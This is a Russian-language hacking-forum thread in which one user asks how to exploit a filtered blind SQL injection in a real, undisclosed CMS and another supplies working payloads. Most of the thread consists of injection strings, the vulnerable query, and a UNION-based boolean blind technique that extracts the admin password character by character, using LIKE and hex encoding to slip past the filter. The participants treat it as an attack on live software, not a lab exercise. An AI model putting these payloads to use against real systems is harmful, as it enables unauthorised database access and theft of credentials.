Фильтрация при bind sql injections и LFI

Discussion in 'Песочница' started by jangle, 8 Nov 2012.

  1. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    117
    Likes Received:
    5
    Reputations:
    6
    Доброго времени суток!
    Помогите плз, добрые люди...
    Имеется линк типа

    image_file.php?id=1

    Выводит 1.gif

    при image_file.php?id=2

    Выводит 2.gif

    при image_file.php?id=2-1

    Выводит 1.gif

    Предположим, что тут либо BIND SQL, либо LFI

    Вопрос: как развить вектор атаки если имеется фильтрация такого типа:

    PHP:
    return preg_replace"/[\$%=<>\(\)\[\]\|\{\}]/i"""trim$string"\x00" ) ) ;
    Благодарности!
     
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Скорее всего здесь SQL-inj, но из-за фильтрации скобок возможно будут проблемы, однако экспулотировать это будет достаточно просто при условии, что запрос достаточно стандартен, если определить параметр, подлежащие выводу. C Blind-SQL дело обстоит горазо сложнее, т.к. нужно почти всегда использовать скобки(Есть исключения).

    Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242? Если вам известна регулярка, возможно вам известен сам запрос? Иначе откуда вы привели код(квест, просто пример)?

    В места знака равентства можно использовать опреатор like или regexp. Что у вас получаеться, если вы её пытаетесь экспулотировать как обычную инъекцию?

    Если идет запрос такого типа:
    ... WHERE a=(2-1) ...

    То можно попробывать экспулотировать полу-слепой блайнд:
    ... WHERE a=(SELECT 1 FROM `users` WHERE `pass` LIKE `1%` )...

    Проверить на SQLi в MySQL можно этим способом: https://forum.antichat.net/showpost.php?p=3333271&postcount=21566
     
    #2 randman, 8 Nov 2012
    Last edited: 8 Nov 2012
  3. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    117
    Likes Received:
    5
    Reputations:
    6
    To XAMEHA
    Огромное спасибо, кое что прояснилось...

    2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)

    Попробовал, вот что получилось
    image_file.php?id=(2-1)+and+1+like+1
    Выдает 1.gif

    image_file.php?id=(2-1)+and+1+like+0
    выдает 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)

    Исследуем далее....


    Сработала и такая конструкция

    image_file.php?id=1+and+1+like+/*!50000 1*/
    показывает 1.gif

    image_file.php?id=1+and+1+like+/*!60000 1*/
    и

    image_file.php?id=1+and+1+like+/*!50000 0*/
    показывает 2.gif
     
    #3 jangle, 9 Nov 2012
    Last edited: 9 Nov 2012
  4. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    У вас работает Order By и Union? Вы пообрали кол-во полей? Если провести Union получтся, то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции.

    Если Order By и Union не работает, попробуйте подставить SELECT 1.

    Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
     
    #4 randman, 9 Nov 2012
    Last edited: 9 Nov 2012
  5. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    117
    Likes Received:
    5
    Reputations:
    6
    Сработал ордер

    id=1+order+by+1

    сработал union

    id=1+Union+select+1

    Это CMS, но не хотелось бы в паблик выкидывать уязвимость.

    я нашел запрос который делается в базу

    выглядит примерно так

    PHP:
    "SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID = $ID"
    И прежде чем попасть в запрос ID фильтруется

    Возвращает функция с этим запросом либо FALSE либо значение $total

    И далее код
    PHP:
    if ( $total )
        
    $prefix "1" ;
    else
        
    $prefix "2" ;

    $image "$prefix".".GIF" 

    readfile$image ) ;
     
  6. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Получилось раскрутить.

    Часть 1:
    Мы используем запрос такого синтаксиса:
    PHP:
    SELECT count(*) AS total FROM dpt_os WHERE status AND ID = -165 UNION SELECT 222 as total FROM `testORDER BY total DESC LIMIT 1
    И из-за Order-by значение 222 становится первым, а второе обрезается лимитом. -165 - Заведомо несуществующее значение.

    Часть 2:
    Мы начинаем крутить инъекцию:
    PHP:
    SELECT count(*) AS total FROM dpt_os WHERE status AND ID = -165 UNION SELECT 1 as total FROM `usersWHERE `loginlike 'admin' and `passlike '1%' ORDER BY total DESC LIMIT 1
    И таким образом, если первый символ пароля 1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются.

    Из-за фильтрации процента, мы переводим '1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/

    UDP:
    Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя:
    PHP:
    SELECT TABLE_ROWS FROM `information_schema`.`TABLESWHERE TABLE_NAME LIKE 'admin'
    Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.
     
    #6 randman, 9 Nov 2012
    Last edited: 11 Nov 2012
    2 people like this.
  7. jangle

    jangle Member

    Joined:
    19 Nov 2006
    Messages:
    117
    Likes Received:
    5
    Reputations:
    6
    Метод просто супер!